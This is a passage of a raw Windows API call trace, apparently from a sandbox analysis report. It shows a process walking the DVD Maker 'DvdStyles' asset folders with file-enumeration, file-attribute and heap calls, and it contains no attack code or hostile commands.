ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x17719, dwReserved0=0x0, dwReserved1=0x0, cFileName="scenesscroll.png", cAlternateFileName="")) returned 1 [0245.395] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5055c0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5055c0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialmainsubpicture.png", cAlternateFileName="")) returned 1 [0245.395] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.395] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.395] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.395] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.395] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f55187a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f55187a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1302, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.395] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5779d7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5779d7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.395] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3fac35, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3fac35, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialoccasion.png", cAlternateFileName="")) returned 1 [0245.395] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4b9306, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4b9306, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1917, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemask1047.png", cAlternateFileName="")) returned 1 [0245.395] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 1 [0245.395] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 0 [0245.395] GetLastError () returned 0x12 [0245.395] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.396] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0245.396] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x929c80) returned 1 [0245.396] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.396] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0245.396] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.397] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0245.397] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0245.397] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x93a4a8 [0245.397] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x93a4a8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x93a4a8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0245.397] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93a4a8) returned 1 [0245.397] NtClose (Handle=0x170) returned 0x0 [0245.397] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.397] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.397] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.397] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.397] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0245.399] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.399] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ead378, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ead378, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CircleSubpicture.png", cAlternateFileName="")) returned 1 [0245.399] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.399] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.399] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.399] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.399] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.399] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x929c80 [0245.399] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927038) returned 1 [0245.399] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927ee0 [0245.399] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x939e80 [0245.399] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.399] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ed34d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ed34d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x120d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoldRing.png", cAlternateFileName="")) returned 1 [0245.399] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.399] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.399] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.399] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.399] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.400] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927f00 [0245.400] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927038 [0245.400] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.400] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71338a7f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71338a7f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0245.400] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.400] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.400] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.400] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.400] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.400] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927f20 [0245.400] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x939f88 [0245.400] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.400] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationButtonSubpicture.png", cAlternateFileName="")) returned 1 [0245.400] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.400] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.400] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.400] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.400] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.401] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927f40 [0245.401] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93a090 [0245.401] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.401] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0245.401] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.401] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.401] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.401] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.401] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.401] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927f60 [0245.401] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93a198 [0245.401] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.401] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0245.401] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.401] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.401] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.401] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.401] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927f80 [0245.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93a2a0 [0245.402] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.402] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0245.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.402] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.402] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927fa0 [0245.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93a4c0 [0245.402] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.402] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f458ec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f458ec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha1.png", cAlternateFileName="")) returned 1 [0245.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.402] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.402] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927fc0 [0245.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93a5c8 [0245.402] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.402] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f6ba49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f6ba49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha2.png", cAlternateFileName="")) returned 1 [0245.402] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.403] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.403] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927fe0 [0245.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93a6d0 [0245.403] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.403] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e8721b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71e8721b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonSubpicture.png", cAlternateFileName="")) returned 1 [0245.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.403] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.403] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x928000 [0245.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93a7d8 [0245.403] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.403] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71893b93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71893b93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x500e57b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x539540, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainBackground.wmv", cAlternateFileName="")) returned 1 [0245.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.403] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.403] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x928020 [0245.403] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93a8e0 [0245.404] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.404] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71aa8ea9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71aa8ea9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x502ae81f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x57bbc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0245.404] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.404] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) 